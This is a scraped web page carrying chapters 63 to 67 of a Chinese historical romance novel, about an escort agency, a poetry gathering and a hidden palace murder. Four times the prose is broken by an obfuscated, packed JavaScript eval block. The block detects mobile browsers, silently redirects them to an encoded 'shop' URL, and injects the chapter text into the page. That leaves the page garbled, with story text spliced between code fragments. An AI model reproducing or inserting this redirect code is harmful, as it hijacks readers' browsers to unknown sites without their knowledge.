;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196753|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能幸免。”瘦子道。 “说真的，你信吗？”粗汉冷笑两声，“反正我是不信。这季节使先前击退了多少次突厥，又是怎样对待陇西百姓的，大伙都看在眼里，就算他想谋反，我也认了。” 如此大逆不道之话，在边关之地似乎无伤大雅。其余两人只笑笑，提醒他小声些。 “你这么说我倒想起来，前几日听随州回来的那批人说，现如今西北边不太平，时不时有突厥骚扰边境，官道都封了好几处......” 季辞秋默不作声地听完几人的对话，心中微凛。这时柜台侧边稍空了些，一个穿短褐、袖口磨得发亮的伙计抹着汗抬头：“这位……娘子？要雇车马？” “打听去陇西长平郡的路。”她走上前，声音清晰。 伙计打量她一眼，目光在她腰间那柄用粗布缠裹的长物上顿了顿，神色谨慎起来：“陇西如今可不太平，娘子若是寻常探亲访友，不如缓些时日。” “有要事，还请兄台指条明路。” 见她态度坚决，伙计不再劝，手在柜台上虚虚画了几笔：“官道您是知道的，出西门向西南，经盐、庆二州至原州。只是过了原州，岔路多如牛毛，有官道、商道，还有好些地图上不标的小径。近日各关卡盘查得也邪乎，说查就查，说封就封，我们这些跑腿的，消息也赶不上趟。” 他朝门外斜对过一指：“瞧见没？那条巷子口，有家‘集贤书局’。掌柜的姓吴，常年跑这条线，他那里有最新抄录的《陇西行程要略》，里头不单有驿路、官道，还标了哪些山路近但险，哪些村镇有歇脚补给的店家，比我们空口白牙说得细。” 集贤书局门面窄小，夹在脂粉铺与铁匠铺之间，很不起眼。推门而入，一股陈年纸张与墨锭的气息扑面而来。店内逼仄，两侧高高的书架直顶到房梁，堆满了书卷，中间仅留一条狭窄过道。 柜台后坐着个清癯的老者，正用一柄小刀慢慢修整雕版，见她进来，只略抬了抬眼皮，手中活计未停。 “掌柜，可有《陇西行程要略》？” “有。”老者放下刻刀，自柜台下摸出几本用麻纸简单装订的小册子，拍去册上薄灰。 季辞秋接过，翻开一页，是庆州至原州段，不仅画了粗略路线，还标注着诸如“张记茶水干净”、“李店宿贵但稳妥”等零碎信息。再往后翻，便是陇西。 她合上册子，心中松快了些：“多少钱？” “最新的，二十文。” 利落付完钱，她将册子收入怀中，转身离开。一人自二楼书架后走出，停在楼梯转折处的阴影里，望着她的背影出神。 叶望是稍早一刻踏入书局的，集贤书局以售卖杂学游记等奇书闻名，有些市面上见不到的、更精细的山川舆图，他来此，是为寻几张周边的详细地形图，不想竟在此处撞见她。 陇西行程要略？他目光微闪，莫非，她要去陇西？ 64. 诗会 耗时一月有余，商队平安返回延州。云氏商行的管事来镖局核对账册，依约按实到货值核算运费。 龙兴镖局不仅护镖周全，更重守信诺，对损货坏货分文不取，此事不胫而走，在延州商贾间传开。自此镖局的单子日渐多了起来，同一时间排了多趟镖。 为此，叶朗广招镖师、添置马匹，镖局的规模逐渐壮大。而那贺兰马帮自前次劫镖未成，见镖局势起，竟老老实实，并未有动静。 云氏商行作为龙兴镖局的首位雇主，自当奉为上礼。两家自此结下通家之好，凡云氏托付之镖，镖局皆以“契价”相待——账册之上，运费皆按市价八五成结付。云佟义听闻，笑得合不拢嘴。 这日，云知意着一身利落的雨过天青色窄袖襦裙，踏入停云楼的二楼敞轩。主厅开阔，十二张乌木翘头案依三面墙陈设，中央留出大片空地，铺着新编的蔺草席。每张案上皆备有笔墨纸砚，后侧粉壁上悬着数轴新裱的字画。 她习惯性站在门口，目光如巡视货仓般扫过全场，心里默算着受邀人数与座次，估量着每张案几之间留出的通道，又踱步至敞轩一侧，检查茶炉、水瓮、各色茶具是否齐备。 确认无碍后，她走到主位案前，这才认真打量起雅室。长案一角摆着个青瓷瓶，插了几枝时令的花，旁边还放了一盆小巧的奇石盆景，是她花重金拍下的，说是有咫尺天涯之意。她盯着那石头看了看，只觉得造型嶙峋古怪，看不出什么咫尺天涯的意境，心道文人雅士的趣味果然难懂。 伙计端着茶点进来，见她立在案前出神，殷勤笑道：“小姐，您看这布置可还入眼？这盆‘听松石’可是东家的珍藏，特意搬来应景的。” 云知意点了点头，面上沉稳，心里却嘀咕，石头还能“听松”？松风过处，石头如何听得？罢了，总归是好看就行。 她随意寻了个位子坐下，掏出一个皱巴巴写满诗文的册子，翻了几页，心中的忐忑与期待并未压下，如热泉咕咚冒着气泡。 这些日子，晋王殿下与商行联系频多，若不是藩王的尊贵身份限制，她爹恨不得同他称兄道弟，颇有些相见恨晚的意味，晋王府名下两处牧场的羊毛皮货甚至成为云氏的稳定货源，只有她和晋王的关系未有一丝进展。面对她时，晋王皆是公事公办的态度，而她亦拉不下架子。为此她苦恼许久，跑去请教冯如兰。 冯如兰在此事上不见得多有经验，至于为何问她，纯是她憋不住，想找人倾诉。本来未抱什么希望，没想到冯如兰竟真给她出了个主意。 “我听说长安的人皆崇文尚礼，腹有诗书，晋王自京城而来，喜欢的人莫非不在鞍马，而在诗书之间？”冯如兰托着下巴，思忖道。 “诗书之间？那我分毫不沾。”云知意心凉了半截。 “莫丧气，你既非大字不识，那就算不得分毫不沾，”冯如兰冷静分析，“附庸风雅的事儿不难，你办场诗会，邀殿下前来，再提前背些诗文，趁机表现一番。届时惊艳四座，殿下想不爱上你都难！” “可诗会素来只邀闺中知交，若贸然邀请殿下，会不会太突兀了？” “好办，你借此诗会，以商行名义施粥，再邀当地文人雅士、官员家眷共襄义举。这样一来，邀请殿下便顺理成章。” “这能成吗？”云知意半信半疑。 罢了，横竖没有别的法子，试试也无妨。 因着延州民风少习诗文，长安那般即兴吟诗的环节难度太大，故改为行飞花酒令，续诗接句更为相宜。 首轮为“春”字。 “春色满园关不住，一枝红杏出墙来。”打头的王监军夫人从容不迫道。 “竹外桃花三两枝，春江水暖鸭先知。”云知意很快接道。 “春江潮水连海平，海上明月共潮生。” …… 就这样在席间轮了两圈，竟无一人中断。 眼见又轮到云知意，她不由有些紧张，飞快瞄了一眼席正中的叶望，捏紧衣袖。 “春风又绿江南岸……”她拧眉，回忆脑中交织一片的诗句，灵光一现，“门泊东吴万里船！” 席间的众人顿了顿，好像——哪里不太对？ 云佟义不明所以，霍然起身，拍掌叫好。宴席前云知意特意叮嘱，叫他适时捧场，这样绝好的时机，他怎会错过。 有他这一声，其余的众人亦不再细想，紧跟着附和起来。 “这两句当真是别出心裁。” “云姑娘果然才情不凡。” 云知意被四面八方、铺天盖地的夸赞捧得有些飘飘然，一时间文思泉涌，信心百倍。 “垂死病中惊坐起，笑问客从何处来。” “人生何处不相逢，相逢何必曾相识。” “夜深忽梦少年事，唯梦闲人不梦君。” 每背一句，座下皆有人蹙眉沉思，又被紧随其后的下一人打断。 终于，西席一位青衣文士肩头颤了颤，呷了口茶：“这句……原该是‘夜深忽梦少年事，梦啼妆泪红阑干’和‘我今因病魂颠倒，唯梦闲人不梦君’吧？” 此言一出，席间静了一瞬，而后传来勉力压抑的笑声。云知意一愣，这才反应过来，霎时羞得满面通红。 她求助地看了一眼冯如兰，奈何论才情冯如兰与她半斤八两，哪知道应对这种场面。 云知意闭了闭眼，已经开始后悔办这场诗会了，那个词怎么说来着，‘东施效颦’，这下好了，不但没让殿下高看自己一眼，更教人窥破她腹中深浅，她懊恼地想。 席间乱哄哄的，云佟义看看僵坐着的云知意，又看了一眼叶望，面露难色。 这时，上座自始至终无波无澜的叶望在案上轻叩两记，不疾不徐地开了口：“倒也不必拘泥原句，云姑娘这一改，反有些意思。” “夜深忽梦少年事，唯梦闲人不梦君。少了妆泪阑干的闺阁哀怨，多了几分…少年人欲说还休的怅惘。” 席间私语渐歇。有人恍然颔首，有人仍蹙着眉，却不好再笑。 云知意悄悄抬眼，正对上叶望斟茶时垂落的视线。他唇角噙着极淡的弧度，带着三分了然七分随意的宽容。 “殿下高见。”座中已有机敏之人举杯附和，“确是别有意趣。” 诗会重新活络起来，云知意捏成拳的手指微微松开，瞥见冯如兰在案几下朝她悄悄竖起拇指。 另一头云府，云知苍独自一人在院中来回踱步，时不时望向某处。今日云知意那丫头不知抽什么风，竟要办什么诗会，谁不知道她小时候最恨上私塾，成天就想着往马场跑，那些诗文典籍啊，同她从来都是八竿子打不着的。 果真是女大十八变，他无奈地摇摇头。正想着，季辞秋自房内走出。云知苍浑身一震，手忙脚乱地背过身，假装不经意间路过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208891|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “公子？”女子的声音中透出几分诧异。 “白姑娘，真……真巧啊。”云知苍有些心虚，咧着嘴道。 “公子没去大小姐的诗会？” “我没兴趣。”他直截了当，顿了顿，瞅着她的脸色道，“白姑娘可有空？” 女子点头，有些不明所以：“公子有何事？” 他挠了挠头，飞快看她一眼：“城西的刀剑行，去不去？” 见她一脸疑惑，云知苍重咳一声，一本正经道：“那个，你跟随商队跑商多次，护卫有功，去那儿挑件趁手的兵器，本公子赏你。” 季辞秋闻言，抬眼看了看面前人高马大的男子，思索了一番，点点头。 刀剑行中兵器种类繁多，令人眼花缭乱，思及往后多半行路，她挑了柄易于携带的短刀。 “这个？”云知苍见她拿着久未放下，开口道。 “嗯。”季辞秋点头。 “掌柜，这把我要了。”他大剌剌招手。 二人买完出了刀剑行，迎面撞见排成长队的粥铺，来往人皆衣衫褴褛，眼巴巴地望着队首领到粥的人。忽然队伍中间一阵骚动，几人推搡起来，紧接着一个瘦小身影被挤出了队伍，摔倒在地上。那身影在地上顿了几秒爬起，复又冲进队伍，很快被甩出。 “当心。”眼见要撞上一旁堆着的沙袋，季辞秋眼疾手快，扶了那人一把。 “是你？”她的手停在半空，看着眼前那张脏兮兮的小脸。正是前些日子自马帮手中救下的少女。 “那头什么情况？”一道利落的女声响起，季辞秋抬头，见队首一着窄袖襦裙的女子信步走来，竟是云知意。后头跟着的那位，面如冠玉、玉树临风，不是叶望是谁。 她垂下头来。 “大哥？”云知意见着云知苍，有些惊讶，又看看一旁戴着面具的女子，好奇道，“你怎跑城西来了？” 云知苍像是被人撞破了什么，有些心虚，连带着说话都磕磕绊绊：“这个嘛......那个......” “回小姐的话，公子说小的护卫有功，特带小的来兵器铺挑件趁手的兵器作赏。”季辞秋替他解释道，亮了亮手中泛着银光的短刀。 “对对。”云知苍正色道。 护卫有功的奖赏？以前怎从未听闻。云知意心中腹诽，挑眉看了看云知苍，见他面色僵硬，不再逗他，转而看向骚动的队伍：“方才这里怎么了？” “这小妮子插队，还偷了我怀里的烧饼，”一佝偻着背的老汉道，“大伙可都看见了！”队伍前后的人皆点头。 地上的少女抿着嘴，目光凶狠地盯着那群人，似乎不觉得自己有错。 “这……”周围这么多双眼看着，云知意一时不知该偏向谁，停顿了下。 “起来，”季辞秋默了默，朝少女伸出手，她看了云知意一眼，抱歉道，“这姑娘与小的相识，望小姐网开一面，且容小的先带她离开，免得搅扰了粥铺的秩序。”说完不由分说地拉起地上的人，半拽半拖地离开。 “哎——”云知苍愣在原地，看着季辞秋的背影欲言又止，而后无奈摇头，低笑一声。 一旁的叶望将这一切尽收眼底，不动声色地看了一眼云知苍，没说什么。 施粥完毕，叶望婉拒了文人雅士下一场的酒会，回府。方一坐下，见青戈匆匆来报：“王爷，镖局出问题了。” 65. 染坊 “你是说，先前谈拢的单子，都被商户自行退了？”叶望皱眉重复了一遍。 “是。”青戈答，“对方宁可赔上违金，也执意要退。” “这是为何？” 青戈摇头：“只说退单，未说是何原因。” 二人紧锣密鼓赶去镖局，叶朗正负手于案前踱步，见了叶望，忙迎上去。 “小九，现今是何状况？”叶望步入后院，取下兜帽。 叶朗抖了抖手中的卷册，一边拨算盘一边道：“自昨日起，陆续有商户前来退单，截至今时今刻，共五单，利润约莫折了......一百二十两。” 众人听闻数字皆沉默，心头如坠千斤。这笔钱虽不算巨款，但镖局将将扩张，招兵买马花了不少银子，局中上下这么些弟兄与马匹，皆指望着走镖度日。若退单成风，只怕…… 叶朗手心冒汗，胡乱用帕子擦了擦。 正说着，镖局前厅传来动静，又一商户前来退单。 “先前画了契，此时退单，押金不退。”柜头面无表情道，已对流程十分熟稔。 “哎，哎。”商户连连点头，似乎极其害怕这里，想赶紧脱身。 “兄台，这批木料原已说定由敝局承运，如今为何突然变卦？”叶朗自后屋走出，和气道。 “这......”商户低垂着头，支支吾吾半天，“前段日子下雨，木料受潮无法运送......” 木料受潮？叶朗皱了皱眉，延州的气候干燥异常，已连续数月未有雨，更谈不上受潮。他意味深长看了商户一眼，见他神色不自然地左顾右盼，待确认自己的名字从名册中划去，才迫不及待离开。 “青戈，随我去看看。”叶望自暗处走出，戴上兜帽悄声跟了上去。 季辞秋拉着少女穿过层层围观的人群，在一家烧饼店前停了下来。准确来说，是少女赖在门口不走，她才停了下来。 “你想吃？”她看了一眼少女，见她闷声不说话，只双眼直勾勾盯着刚出炉的一沓金黄烧饼，无奈摇头，“老板，要两个。” 付了钱，少女一把夺过，不由分说狼吞虎咽起来。 “慢点，这回没人跟你抢。”她安抚道，递上一碗茶水。 吃饱了饭，她带着少女进了一间成衣铺，掌柜热情迎上来，瞧着少女的身段拿了几件清雅的襦裙。季辞秋皆摇头，左顾右盼，在一众做工精细的衣裳中挑了一件全黑的粗布短衣，无视掌柜的白眼，满意地点点头。这件好，既轻便易行，又不显眼，不会因穿着迥异叫人欺负了去。 “拿着，”她将衣服塞入少女怀中，见她愣着没动，补充一句，“这件比你身上的好，不漏风。” 少女捧着衣裳，抬起脏兮兮的小脸，小心翼翼看她，好似一头迷路的小兽。 “好了，我要走了。”她撇过脸去，朝她挥挥手。少女一顿，无措地张了张口，眼见她走远，小心迈着步子跟着。 季辞秋觉察到她跟着，咬了咬牙，克制住回头的冲动，加快了步伐。想起昨日丰吉木行着人请她做账，遂拐了个方向，往丰吉木行去了。 叶望同青戈跟着商户一路回了木行，二人对视一眼，悄无声息地跃上屋脊。后院传来隐约的谈话声。 “镖局的单子，方才已经退干净了。”男子的声音疲惫，带着如释重负的叹息。 “退了就好……”妻子给他斟了盏茶，声音低柔却掩不住忧虑。 男子拿起茶盏呷了一口：“那帮人今日可来了？” “未曾，想来是见我们退了单，便暂且作罢了。”妻子沉默片刻，声音压得更低，“我今日去西市扯布，听布庄刘娘子说，她家侄子前日也被拦了。那孩子原本要在镖局托一批绣样去秦州，还没下单呢，就被马帮的人撞见，硬生生吓了回去，说要是敢找镖局，就让他那批绣样永远出不了延州城。” 男子倒吸一口凉气：“还有这事？” “何止。”妻子轻叹，“东街的皮货行、南门外的陶器作坊，好几家没在镖局下单的，也都或明或暗地被‘提醒’过。只是大家怕惹祸，都不敢声张，只私下里通个气。如今延州城里，但凡想做点出远门的生意，怕是要避着镖局了。” 屋脊上，叶望眸光沉了沉。这已不是寻常的地痞勒索，而是有组织、有目的的打压。 屋内，男子苦笑一声：“马帮势大，我们小本生意，哪里惹得起？罢了，罢了，只求自保罢。往后陇西的货，要么不走了，要么……多花些钱，多绕些路，找别家信得过的脚夫慢慢运吧。” 妻子不再言语，只传来忧心忡忡的叹息。 叶望与青戈对视一眼，心中了然，正欲后撤，后院现出一熟悉的身影。本已抬起的脚步倏然顿住，他朝青戈比了个手势，再度隐入屋脊的阴影，屏息凝神，不动声色地看着院中带着面具的女子。 “姑娘——是有何事？”掌柜自房中走出，上下打量了季辞秋一眼，迟疑道。 “我是来做账的。” “做账？我记得约的是明日……” 季辞秋微微一笑，不疾不徐道：“确是明日，只是今日手头事毕得早，想着顺路，便过来看看。若是方便，今日便可理个大概，也省得您明日再专候我一日。若是打扰，我改日再来便是。” “不打扰，不打扰！”掌柜的语气热络起来，引人进了正房，“听闻姑娘虽不以账房为主业，手下过的账目却比许多老账房都清晰稳妥。” 季辞秋笑了笑：“掌柜过誉了。不过是些取巧的法子，混口饭吃，当不得如此夸奖——账本都在这儿了？” 屋内的对话转向了具体的账目条目，笔落纸上的轻响和偶尔的低语传来。 “王爷，这女子似是来做账的，应与马帮无关。”青戈谨慎道。 叶望不置可否，静静凝视着窗前翻阅账目的女子，若有所思。 “查一查，她替人做账有何目的？” —— 长安。 张展近日魂不守舍，起因是某日他乘车经过崇仁坊时，于人群中隐约看见了那个他寻觅多时的女子。待他匆匆下车追寻，已不见踪影。 他不死心，瞒着他爹，私下里偷偷派人去附近搜寻，奈何自那次之后，便再没看见。下人皆疑心公子看错了人，可看到张展发红的双眼，终是将话吞进了肚子里。 长安城以南，宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216697|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义坊。因清明渠自坊内西侧贯穿而过，有达官显贵在此修建园林别院，只闲暇时小住集会，是以平日里人烟稀少，冷冷清清。 坊西一座不起眼的小院内，一身民女装扮的杜琼玉接过春和递来的兜帽。 “姑娘，小李子提前打过招呼了，申时三刻在角门接应。” 杜琼玉嗯了一声，戴上兜帽。 宫门口，内侍省的老宦官掀开提篮遮布看了看，又掀起眼皮瞟了她一眼，目光挑剔。 阴影里，小李子佝偻着腰，脸上堆出的笑几乎要掉下粉来：“李公公，您瞧瞧，这都是今儿天不亮从京郊皇庄直接运过来的，水灵着呢。这丫头是庄子上老王头的闺女，头回递这差事，不懂规矩，您多担待。”他的声音又尖又细，掺着十二分的小心，说话间，一个沉甸甸、用旧帕子裹着的银锭，已从袖口滑出，不着痕迹地塞进李公公虚拢着的手心。 李公公眼皮都没抬，手指却灵巧一翻，银锭消失无踪：“嗯……看着是鲜亮。规矩不能废，搜过了？” “搜过了，搜过了，干净得很，就这点瓜果。”小李子忙不迭应道，侧身让开半步。 “进去吧。误了时辰，仔细你们的皮。”李公公摆了摆手，像是挥开两只苍蝇。 掖庭的巷子又窄又暗，杜琼玉跟着小李子七拐八绕，在一处墙皮剥落的院门前停下：“就这儿了。姑娘，最多一盏茶，不能再久。” 杜琼玉点了点头，喉咙发紧，推开虚掩的木门。一股浓烈刺鼻的气味扑面而来，院子里满是各色湿布，沉沉地挂着。几个妇人背对她，在染缸旁忙碌。她缓缓靠近，看见一熟悉的侧影，心猛地一揪。 “阿姐……”她声音干涩，试探着叫了一声。 那人闻声回头，一张蜡黄枯瘦的脸，头发裹在脏布巾里，散发着破败的气息。几乎是一瞬间，她落下泪来。 “玉娘？”杜琼华空洞的眼神骤然裂开，手中的木桶“哐当”一声砸在地上。 “阿姐……”杜琼玉泣不成声，千言万语堵在胸口，被姐姐此刻的模样砸得粉碎，“你怎么……怎么成了这样……他们怎能让你做这等苦役……” 杜琼华抬起粗糙皴裂的手，似乎想替妹妹擦泪，手伸到一半，却又缩了回去，只在衣襟上用力擦了擦。她闭了闭眼，再睁开时，多了几分强压下的清明：“别说这些……玉娘你怎么敢来这儿？走，快走！” “阿姐！我有话要说，”杜琼玉反手抓住姐姐冰凉的手，语速急促，“我查到些东西，当年爹爹的事，不只是舞弊这么简单。”她长话短说，将调查来的消息告诉杜琼华，看见杜琼华的脸一寸一寸地发白。 “我怀疑詹贵妃的死并非意外，与爹爹的死或有千丝万缕的关系。”她压低声音，攥紧杜琼华的手，目光灼灼，“阿姐在宫里，能不能想法子打听打听，詹贵妃宫里旧人的下落？” 杜琼华还未从震惊中缓过神来，良久垂下眼眸，重重点了点头。 时辰已到，杜琼玉低着头，顺着宫墙的阴影快步往外走。刚拐出掖庭外围的甬道，迎面就来了一群下值的官员。她心中一颤，侧身往墙根贴，头垂得更低，让粗布头巾几乎遮住全脸。 66. 旧尘 谈笑声由远及近，杜琼玉屏住呼吸，盯着破旧的鞋尖，甚至能感觉那道熟悉张扬的视线轻轻掠过，好在并未停留。 一股松快又酸涩的情绪交织在胸口，她重重吐了口气，等他们走出一段，才缓缓直起身，加快脚步朝宫门方向走去。 出了宫门，杜琼玉利落脱下粗布衣裳，戴上兜帽，沿着承运大街往南走。 时日渐向长夏，天色黑得愈发早了。沿路的摊贩吆喝着最后一单生意，在愈来愈暗的暮色中急急收摊回家。为抄近路，她越过行路匆匆的人群，拐入一条人烟稀少的窄巷，忽地停下脚步。 巷子尽头，赫然立着一个身影，夕光斜斜切过青砖墙，将他石青色的锦袍染成暖金色。 她呼吸一滞，几乎忘了转身，就这样僵立在原地。 男子快步往前走了几步，暮色余晖在他脸上流转，照亮了飞扬的眉梢和一双淬了星辰的眼睛。那张脸上没有了往日京城跑马时的神采，只余下风尘仆仆的痕迹和不敢确信的紧张。 张展半边身子发麻，恍若沉在日复一日的梦里，目光牢牢锁在她脸上，像是怕眼前的身影转瞬即逝。 “玉儿。”他喉头哽咽，声音低了下去，似有千言万语，最终只化作一句带着喘息般的确认，“我……我找了你很久。” 杜琼玉唇角紧收，好半天才颤声道：“你认错人了。”干巴巴的一句，在愈发浓郁的夜色中有些苍白。 张展显然没有相信，固执地站着，声音带着浓重的鼻音：“这些年……你去哪了？过得可好？” 杜琼玉沉默，承受不住迎面的炽热视线，胡乱重复了一遍：“公子认错人了。”仓促转身欲逃，被张展几步上前，攥住手腕。 “放手。”她心绪纷乱，稳了稳气息，冷声道。 “不放。”张展眼圈发红，小声回了句，暗自收紧力度，“七年前，我听了你的话，再没寻着你的下落，如今，我说什么也不会放手了。” 杜琼玉用力挣扎了几番，未果，气急反笑：“公子不放手，是想带民女去何处，去公子府上吗？” “你若想去，我会想办法。”张展凝眸，似乎在认真思索可行之处。 “......” 正僵持着，背后传来一个大汉的声音：“兀那泼才！光天化日拉扯女子，要脸不要？” 张展一惊，张了张口，手上力道松了些。 她趁机挣脱，躲到大汉身后，趁着二人纠缠的功夫，头也不回地走了。 自那日后，张展不知从何处得知杜琼玉的住处，隔三岔五送些珍馐，一股脑堆在门口。 “姑娘，这……”春和推开门，望着装满水果的竹篮发愁。 “丢了。”杜琼玉头也不抬。 “哎——”半路一只手拦住，将果篮截了去，“这样好的果子，丢了多可惜。” 杜琼玉猛地抬头，见张展懒懒靠在门上，手中提着果篮。她抿唇，几步走到门口。春和见状，悄悄退开。 “张大人，”她的声音很平，没什么起伏，“这些东西，以后别再送了。” 张展没动，仍松松拎着那篮果子，看着她，嘴角那点惯常的弧度也敛了。“为什么扔了？” 杜琼玉不答，只重复：“你我处境不同，不该再有牵扯。张大人请回。” “不该？”张展像是听到什么好笑的话，往前迈了一步，踏进门槛内，目光紧攫着她，“玉儿，什么叫该？什么叫不该？七年前你让我走，我听你的。如今我站在这里，你还要用‘处境’、‘不该’这些字眼搪塞我？” “不是搪塞，”她侧过脸，避开他过分直接的目光，下颌绷得很紧，“是实话。你是名门清贵，我是罪臣之女。沾上我，对你没半分好处。我不想欠你，更不想连累你。” “我不怕连累！”他声音骤然拔高，又猛地压低，带着压抑的急切，“你以为我在乎那些？这些年我找你……” “张司祁，你清醒一点！”杜琼玉打断他，倏地转回头，眼底像是燃着两簇冰冷的火，声音却微微发颤，“你好好看看我现在是什么样子？七年前的玉儿早就死了。” 她胸口剧烈起伏，像是终于挣开了什么无形的束缚，那些自厌的、灰败的念头冲破堤防，带着自毁般的快意倾泻而出。 “你以为我这七年是怎么过来的？东躲西藏，苟延残喘。为了活命，我什么没做过？我辗转过多少地方，在最下等的欢场里，对着什么样的人陪笑卖好，你知道吗？”她每一个字都像淬了冰，又带着血淋淋的痛楚，砸在空气里，“我脏，从里到外，早就脏透了，烂透了！这样的我，你还要吗？你还敢要吗？！” 最后一句话几乎是嘶喊出来的。喊完，她像被抽干了所有力气，脸色惨白，只死死盯着他，眼神空洞又锐利，像在等着他露出预料之中的嫌恶、惊骇，然后转身离去。 张展站在那里，脸上的血色一点点褪去，攥着提梁的手指绷得发白，骨节凸起。他死死地看着她，看着那双曾经盛满明澈秋水的眼睛，此刻只剩下破碎的冰凌和近乎绝望的疯狂。 “这就是你赶我走的理由？”他开口，声音哑得厉害，每个字都像是从砂石里磨出来的。 “杜琼玉，”他叫她的全名，字字沉重，“我这七年，无时无刻不在恨我自己当年为什么那么听话，为什么没拼死把你从杜家带出来！” “你说你脏，说你烂透了？那你怎么不看看我？我站在这里，心也早就疼烂了。” 他眼圈红得骇人，深深吸一口气，试图平复翻腾的心绪。 “我不管你这七年怎么过的，我只知道，我现在找到你了。你赶不走我。” 二人对峙着，陷入良久的沉默。最终，张展将果篮往她怀中一塞，语气软和下来，带着孤注一掷的执拗：“总之，这果子你收着……我明日再来。”话音未落已转身疾走，似是怕听见她半句推拒。 杜琼玉望着他的背影，微不可闻地叹了口气。 “姑娘，宫里的消息，小李子帮取出来了。”春和将一卷黄纸递了过来。 杜琼玉打开，信上皆是些寻常的问候寒暄，她将纸移近烛火，背面显出几行字来： “詹氏身边旧人柳痕，事发后遣放出宫，现皈依云华寺，法号了尘。” —— 云华寺后院的抄经堂外，古柏森森。杜琼玉站在廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226562|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下等了约莫一刻钟，才见一位身着灰色僧衣的削发尼姑从经堂侧门走出。 那尼姑约莫三十余岁，面容苍白，眼神低垂着，不敢与人对视。她双手合十，声音细若蚊蝇：“施主久等了。贫尼了尘，不知施主有何指教？” 杜琼玉打量着她，缓缓开口：“听闻师父七年前曾在宫中侍奉？” 了尘猛地抬头，眼中闪过一丝怔愣，随即又低下头去：“贫尼……贫尼早已忘却前尘往事。” “是吗？”杜琼玉向前一步，压低了声音，“那詹贵妃的死，你也忘了吗？” 了尘浑身一颤，手中念珠差点跌落。她慌乱地环顾四周，见四下无人，才颤抖着问：“你、你是什么人？为何问这些？” “宫里的人，”杜琼玉有意诈她，面无表情，“近来东宫那位向圣上奏请，要彻查七年前生母詹氏的死因，当年侍奉过的宫人都要召回问话。”她顿了顿，观察着了尘的反应，“太子殿下还说，要重罚詹贵妃身边的宫人，治个失察之罪。” 了尘听完，脸色煞白，连连后退，背抵在廊柱上：“不、不是我的错……贫尼当时只是一个小小的宫女，什么也做不了啊！” “不是你的错，那是谁？”杜琼玉步步紧逼。 “是……是韩尚书……那个衣冠禽兽！”了尘攥紧拳头，像是用尽了全身力气才挤出这些话。 礼部尚书韩蔚？杜琼玉心中一沉。 “那年宫宴，韩尚书在后花园撞见娘娘和礼部的崔郎中说了几句话，真的就只是几句寻常问候……可、可韩尚书他知道娘娘入宫前，曾与崔郎中两情相悦……” “他就拿这个作把柄要挟娘娘，说要是传出去，娘娘的妃位保不住，崔郎中一家也得跟着掉脑袋。娘娘性子软，母家又……为了保全大家，只能忍了……” “可那畜生，他见娘娘退让，就得寸进尺。”了尘的指甲深深掐进自己的手心，“一开始只是言语逼迫，后来……后来就变成了更不堪的欺辱。他仗着自己是尚书，总能找到由头进宫，一次次把娘娘逼到没人的地方……娘娘每次回来，眼睛都是红的，可什么都不敢说。她一个人担着这天大的羞辱和害怕……” “那日韩尚书又逼娘娘去废弃的暖香阁……”了尘泪流满面，声音抖得不成样子，“贫尼当时在不远处望风，听见里面有争执声，还有压抑的哭声。后来，后来就没了声响……” “娘娘是被那畜生失手掐死的……他还警告贫尼，若敢泄露半字，便死无葬身之地。”了尘瘫坐下来，蜷缩在青灰色的僧袍里，脆弱得像一片秋风中的落叶。 杜琼玉心中震颤不已，藏在袖中的手止不住地颤抖。层层覆土，竟掩盖了这样的腌臢事。 照眼前女子所言，詹氏的死与礼部尚书韩蔚有关，那礼部司郎中极有可能通过某种方式得知了此密辛，决心为詹氏报仇。他利用职权故意在批卷时勾墨做记，以在东窗事发后将韩蔚拉下水。 是了，这便说得通了。 她就知道，爹爹那么堂堂正正的人，断不会做出徇私舞弊之事。 她心潮翻涌，直觉离真相愈来愈近。她一定要找到证据，还爹爹一个清白。 67. 壮大 延州西市的“万隆皮货”铺子前，几个持棍的彪形大汉堵在门口，为首的是个脸上带疤的汉子，正用棍子敲打着门框。 